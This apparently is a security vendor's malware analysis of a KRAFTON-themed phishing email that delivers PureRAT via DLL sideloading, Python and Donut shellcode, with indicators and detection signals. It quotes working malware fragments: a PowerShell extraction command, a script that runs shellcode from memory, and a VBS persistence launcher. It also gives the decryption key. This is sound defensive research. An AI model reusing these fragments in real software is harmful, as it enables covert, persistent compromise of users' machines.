Authors
Brandon Murphy
Detection
Victor Olendi
Email Security Analyst

Fake copyright notices keep showing up as a way to deliver PureRAT; Huntress and Morphisec have both reported them. A message observed by Sublime claims to come from KRAFTON, the publisher of PUBG, and ends with PureRAT, a remote access trojan (RAT) sold to criminals, running in memory on the victim's computer.

Published reports describe PureRAT as a tool for remotely controlling infected computers. We traced this sample from the email all the way to PureRAT running in memory, and pulled its command-and-control (C2) server out of its encrypted configuration. In this post, we'll walk through the chain, that configuration, and why we're confident the final stage is PureRAT.

The copyright notice

The message, delivered from a freemail provider, is written in Korean and uses a copyright lure. The lure indicates KRAFTON needs to “check whether some of the games and online content your company operates are related to KRAFTON’s images, interfaces, game resources and other content” (translated).

How the attack works

  1. Delivery. The email links to a password-protected zip on Google Drive, which filters can't scan without the password.
  2. Sideloading. A renamed, legitimate PDF reader loads a hidden malicious DLL, oledlg.dll, from the same folder. This technique is known as DLL sideloading (MITRE ATT&CK T1574.001).
  3. Unpacking. After sandbox and virtual-machine checks, the DLL extracts an embedded zip holding a bundled copy of Python, two scripts, encrypted shellcode, and a decoy PDF, then starts the scripts with no window.
  4. Persistence. A scheduled task runs a small launcher every minute, which starts the script again if Python isn't already running.
  5. In-memory loading. The second-stage script decrypts the shellcode, which starts a .NET loader that decrypts and loads PureRAT. The loader and PureRAT are never written to disk.
  6. C2. PureRAT decodes its configuration and connects to the C2 host over TLS, accepting only a server whose certificate matches the one stored in the configuration.

PureRAT configuration and C2

PureRAT stores its configuration as one of its encrypted strings. Once decrypted, it is base64 text that decodes to a GZip compressed protobuf message. The configuration names one C2 host, outlook1[.]microsoft[.]l[.]lc, and three ports: TCP 56001, 56002, and 56003. The hostname imitates Microsoft but doesn't belong to it. It resolved to 222[.]255[.]184[.]131, an address hosted at VNPT in Vietnam (AS45899), on October 1, 2026. One of the scripts also contains a developer comment in Vietnamese.

PureRAT's decoded configuration in the debugger: one C2 host and three ports, 0xDAC1 to 0xDAC3 (56001 to 56003).

The extracted fields from the configuration and their observed values.

Field

Property

Observed value

Used for

1

XhcVOrGf4j

outlook1[.]microsoft[.]l[.]lc

C2 hostname

2

meuVTvJxAt

56001, 56002, 56003

Ports tried for each address

3

l9lVxNBc7W

Base64 certificate

Loaded as the certificate the server must match

9

TPRVDCKnF5

Sfcjgnn

Mutex name

1

Property

XhcVOrGf4j

Observed value

outlook1[.]microsoft[.]l[.]lc

Used for

C2 hostname

2

Property

meuVTvJxAt

Observed value

56001, 56002, 56003

Used for

Ports tried for each address

3

Property

l9lVxNBc7W

Observed value

Base64 certificate

Used for

Loaded as the certificate the server must match

9

Property

TPRVDCKnF5

Observed value

Sfcjgnn

Used for

Mutex name

‍

The configuration has four more fields that are off or empty in this sample, including options to start a hidden process and to keep the computer from sleeping. It also holds a self-signed certificate (CN=Kpjpfrimos). PureRAT accepts a C2 server only if the server's certificate has the same issuer and serial number as this one.

The certificate embedded in PureRAT's configuration (CN=Kpjpfrimos). Validity times are shown in UTC−5.

Identifying the final stage as PureRAT

We identified the final stage as PureRAT because its traits match those in published reports. PureRAT is also reported as ResolverRAT, and PureHVNC is its predecessor (per Netresec), so some of the reports below use those names. This comparison doesn't identify who is behind the campaign.

‍

Trait in this sample

Reported in

Network

C2 ports 56001, 56002, 56003

Configuration

Configuration is a protobuf message, GZip-compressed and then base64-encoded

Huntress; base64 and GZip in Fortinet

Certificate

Certificate embedded in the configuration and used to check the C2 server

Certificate

Self-signed certificate

Certificate

Same random-looking subject and issuer name, 4096-bit RSA, SHA-512

Host artifacts

Registry key under HKCU\Software\ named with a per-victim ID, and a mutex created at startup

Obfuscation

Code protected with .NET Reactor

Sideloading

hpreader.exe 1.5.7.0 sideloading a DLL originally named oledlg.dll

Sideloading

hpreader.exe used for sideloading

Lure

Copyright-notice lure

Loader

Python script running Donut shellcode

Loader

Python stage followed by a .NET loader stage

Infrastructure

C2 hosted in Vietnam

Network

Trait in this sample

C2 ports 56001, 56002, 56003

Reported in

Netresec, Huntress

Configuration

Trait in this sample

Configuration is a protobuf message, GZip-compressed and then base64-encoded

Reported in

Huntress; base64 and GZip in Fortinet

Certificate

Trait in this sample

Certificate embedded in the configuration and used to check the C2 server

Reported in

Huntress

Certificate

Trait in this sample

Self-signed certificate

Reported in

Netresec

Certificate

Trait in this sample

Same random-looking subject and issuer name, 4096-bit RSA, SHA-512

Reported in

eSentire

Host artifacts

Trait in this sample

Registry key under HKCU\Software\ named with a per-victim ID, and a mutex created at startup

Reported in

Fortinet

Obfuscation

Trait in this sample

Code protected with .NET Reactor

Reported in

Fortinet

Sideloading

Trait in this sample

hpreader.exe 1.5.7.0 sideloading a DLL originally named oledlg.dll

Reported in

eSentire

Sideloading

Trait in this sample

hpreader.exe used for sideloading

Reported in

Morphisec

Lure

Trait in this sample

Copyright-notice lure

Reported in

Huntress, Morphisec

Loader

Trait in this sample

Python script running Donut shellcode

Reported in

Fortinet

Loader

Trait in this sample

Python stage followed by a .NET loader stage

Reported in

Huntress

Infrastructure

Trait in this sample

C2 hosted in Vietnam

Reported in

Huntress

Technical details

Sideloading and sandbox checks

hpreader.exe imports one function, OleUIBusyW, from oledlg.dll. Windows searches the application folder before System32, so when the reader starts, it loads the malicious DLL placed beside it. The malicious code runs in DllMain on load, before the reader's own code. The DLL is unsigned and was built on September 20, 2026. Its debug path is C:\Users\Admin\Documents\bot\TMT\DLL CU\DLL CU\Debug\oledlg.pdb.

Before unpacking anything, the DLL runs four checks. If any matches, it calls ExitProcess(0) and nothing is written to disk:

  1. Two or fewer processors.
  2. Sleep(100) takes less than 90 ms, measured with QueryPerformanceCounter.
  3. The processor timestamp counter (rdtsc) advances by fewer than 100,000 ticks across Sleep(10).
  4. The first network adapter's MAC address begins 00:05, 00:0C, or 00:1C, which covers common VMware prefixes.

Unpacking

A zip archive of about 20.9 MB is contained unencrypted within the resources of oledlg.dll. The DLL writes it to macOSx.zip, extracts it into the macOSx folder, and runs the first-stage Python script. The PowerShell command run by the DLL to extract the contents is the following:

powershell -NoProfile -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath '<…>\DriversPackage\macOSx.zip' -DestinationPath '<…>\DriversPackage\macOSx' -Force -ErrorAction Stop } catch { exit 100 }"

The archive also contains file.pdf, which is extracted to disk but never opened. It's a one-page job posting in English for a digital marketing director, unrelated to the copyright notice in the email.

The first-stage run.py is plain-text Python that copies the macOS subfolder to the install folder and starts the second stage through cmd.exe:

dest_root = os.path.join(os.environ["LOCALAPPDATA"], "DriversPackage")
os.makedirs(dest_root, exist_ok=True)
dest_macOS = os.path.join(dest_root, "macOS")
shutil.copytree(source_macOS, dest_macOS, dirs_exist_ok=True)

exe = os.path.join(dest_macOS, "python.exe")
script = os.path.join(dest_macOS, "run.py")
cmd = f'"{exe}" "{script}"'
subprocess.Popen(cmd, shell=True, creationflags=subprocess.CREATE_NO_WINDOW)

Second stage: persistence and shellcode

The second-stage run.py is compiled Python 3.11 bytecode saved with a .py extension. The real source is stored as an obfuscated hex string that the script decodes and passes to exec. It decrypts Security.bin with a single-byte XOR (key 0xAA), then starts two threads.

One thread copies the decrypted bytes into executable memory and calls them:

if platform.architecture()[0] != "32bit":
    print("[ERROR] Only 32-bit architecture is supported.")
    return
memory = ctypes.windll.kernel32.VirtualAlloc(
    None, shellcode_size, 0x3000, 0x40
)
ctypes.memmove(memory, shellcode, shellcode_size)
shellcode_func = ctypes.cast(memory, ctypes.CFUNCTYPE(None))
shellcode_func()

The 32-bit check skips only the shellcode. Persistence is installed regardless.

The other thread writes the launcher %LOCALAPPDATA%\DriversPackage\run.vbs:

Set wmi = GetObject("winmgmts:\\.\root\cimv2")
Set procs = wmi.ExecQuery("Select * from Win32_Process where Name = 'python.exe'")
If procs.Count = 0 Then
    Set shell = CreateObject("WScript.Shell")
    shell.Run """<…>\macOS\python.exe"" ""<…>\macOS\run.py""", 0
    Set shell = Nothing
End If

It then registers a scheduled task named DriversPackage_EveryMinuteb that runs the launcher every minute with no time limit. The launcher checks only for a process named python.exe. Every stage in this chain starts python.exe, so the launcher does nothing while the malware runs. It also does nothing while any unrelated python.exe is running on the computer.

Shellcode and .NET loader

The decrypted Security.bin is Donut shellcode with an embedded .NET loader (Sbeadrbm.exe, x86). The shellcode starts the .NET runtime inside the Python process and loads the loader from memory. The chain runs only as 32-bit: the bundled Python, the second-stage check, and the loader are all 32-bit.

The loader carries PureRAT as a resource named Srlle inside a second, resource-only assembly, which it stores encrypted. At startup the loader registers a handler for missing resources. The first time it requests Srlle, that handler decrypts the assembly with a custom cipher and loads it from memory. The loader then decrypts Srlle with two-key Triple DES in CBC mode, strips a 4-byte length prefix, decompresses the GZip stream, and loads the result (Mxvxulo.dll, 798,208 bytes) with AppDomain.Load(byte[]). The Triple DES key is ff786ed390af0e1c9638befe0cc829b8 and the IV is 78cfc046d6762a2d.

The .NET loader decoding its Triple DES key (/3hu05CvDhyWOL7+DMgpuA==, hex ff786ed390af0e1c9638befe0cc829b8) before decrypting PureRAT.

PureRAT startup

PureRAT is protected with .NET Reactor (control-flow flattening, anti-tamper, anti-debug, and encrypted strings and resources), so every string is stored encrypted and decoded in two steps at run time. At startup it creates a mutex named Sfcjgnn and exits if another copy is already running. In its connect loop, it opens a per-victim registry key, HKCU\Software\<32 hex characters>, which can hold a second configuration that overrides the embedded hosts and ports. The key was empty when we observed it.

PureRAT opening its registry key under HKCU\Software\. The 32-character name differs on each computer.

Indicators

Network

Type

Value

Domain

outlook1[.]microsoft[.]l[.]lc

IP address

222[.]255[.]184[.]131 (DNS answer on October 1, 2026; can change)

Ports

TCP 56001, 56002, 56003

Certificate name

CN=Kpjpfrimos

Certificate serial

009086CDD9A590130F6191FCEE10C533

Certificate SHA-1

82534a143b2417fd06abb279617abf1a481eccf1

Certificate SHA-256

9d75e1d073b680b7ebb5564078772ffcd20d071d60c82cfa499dde133cf4065d

Domain

Value

outlook1[.]microsoft[.]l[.]lc

IP address

Value

222[.]255[.]184[.]131 (DNS answer on October 1, 2026; can change)

Ports

Value

TCP 56001, 56002, 56003

Certificate name

Value

CN=Kpjpfrimos

Certificate serial

Value

009086CDD9A590130F6191FCEE10C533

Certificate SHA-1

Value

82534a143b2417fd06abb279617abf1a481eccf1

Certificate SHA-256

Value

9d75e1d073b680b7ebb5564078772ffcd20d071d60c82cfa499dde133cf4065d

‍

Host

Type

Value

Scheduled task

DriversPackage_EveryMinuteb

Task action

wscript.exe "%LOCALAPPDATA%\DriversPackage\run.vbs"

Folders

%LOCALAPPDATA%\DriversPackage\macOS\, %LOCALAPPDATA%\DriversPackage\macOSx\

Extracted zip

%LOCALAPPDATA%\DriversPackage\macOSx.zip

Process

python.exe running run.py from the install folder

Mutex

Sfcjgnn

Registry key

HKCU\Software\<32 hex characters> (name differs on each computer)

Scheduled task

Value

DriversPackage_EveryMinuteb

Task action

Value

wscript.exe "%LOCALAPPDATA%\DriversPackage\run.vbs"

Folders

Value

%LOCALAPPDATA%\DriversPackage\macOS\, %LOCALAPPDATA%\DriversPackage\macOSx\

Extracted zip

Value

%LOCALAPPDATA%\DriversPackage\macOSx.zip

Process

Value

python.exe running run.py from the install folder

Mutex

Value

Sfcjgnn

Registry key

Value

HKCU\Software\<32 hex characters> (name differs on each computer)

‍

File hashes (SHA-256)

File

Hash

Downloaded zip

81b6da011724f3350695813b450eab05daf3d0dc142f4f5231f242d45d33ee6e

PDF reader (hpreader.exe)

08c7fb6067acc8ac207d28ab616c9ea5bc0d394956455d6a3eecb73f8010f7a2

oledlg.dll

6fda4574c78db610e98db1a1eb0b8ab1cbd0ae678da55c8cae90ad414ed65ca9

First-stage run.py

1c05fb0dcd0d725986f190a38ae7ebf48ce0cefbb924006b1477a987b15b9bdd

Second-stage run.py

12751fa5e4d6b93226ed0b6eeaffcdd6948f20349c990ea430eed860df480752

Security.bin

97295006cd1d0c80d99c5a03ae8c20c20790f364164bc9be81713c6bbd65e574

.NET loader (memory only)

63aeef2b9da9e92eb913f371cebe3ff0e15a2d8716c0b95de6ea9327074d5032

PureRAT, Mxvxulo.dll (memory only)

3a82fcaef705d3058f1df4319d184eac5c85789a2ae6ddfe6f9b747a89c3fd35

Downloaded zip

Hash

81b6da011724f3350695813b450eab05daf3d0dc142f4f5231f242d45d33ee6e

PDF reader (hpreader.exe)

Hash

08c7fb6067acc8ac207d28ab616c9ea5bc0d394956455d6a3eecb73f8010f7a2

oledlg.dll

Hash

6fda4574c78db610e98db1a1eb0b8ab1cbd0ae678da55c8cae90ad414ed65ca9

First-stage run.py

Hash

1c05fb0dcd0d725986f190a38ae7ebf48ce0cefbb924006b1477a987b15b9bdd

Second-stage run.py

Hash

12751fa5e4d6b93226ed0b6eeaffcdd6948f20349c990ea430eed860df480752

Security.bin

Hash

97295006cd1d0c80d99c5a03ae8c20c20790f364164bc9be81713c6bbd65e574

.NET loader (memory only)

Hash

63aeef2b9da9e92eb913f371cebe3ff0e15a2d8716c0b95de6ea9327074d5032

PureRAT, Mxvxulo.dll (memory only)

Hash

3a82fcaef705d3058f1df4319d184eac5c85789a2ae6ddfe6f9b747a89c3fd35

Detection signals

Sublime's AI-powered detection engine prevents these attacks. Some of the top signals from this example were:

  • Freemail sender impersonating a brand: The message claims to come from KRAFTON, Inc., but it was sent from a random Gmail address with no history at the organization.
  • Google Drive direct-download link: The only link uses Drive's direct-download format (/uc?export=download), which skips the preview page and downloads the file straight away.
  • Archive password in the email body: The message gives the password (@2026) for the downloaded zip, which keeps scanners from inspecting what's inside.

ASA, Sublime’s Autonomous Security Analyst, flagged this email as malicious. Here is ASA’s analysis summary:

Stopping it at the email

Past the download, the chain is hard to inspect: the zip is password-protected, the first file to run is a legitimate PDF reader, and PureRAT itself never touches disk. The email is where it's easiest to catch. A KRAFTON copyright notice sent from a Gmail address, a Google Drive link that downloads a file directly, and a password in the body are all visible before anyone opens the zip. That's why Sublime's malware and ransomware protection looks at the message, the link, and the lure together.

To see how Sublime can detect and prevent attacks like this, get a live platform demo.

Share this post

Get the latest

Sublime releases, detections, blogs, events, and more directly to your inbox.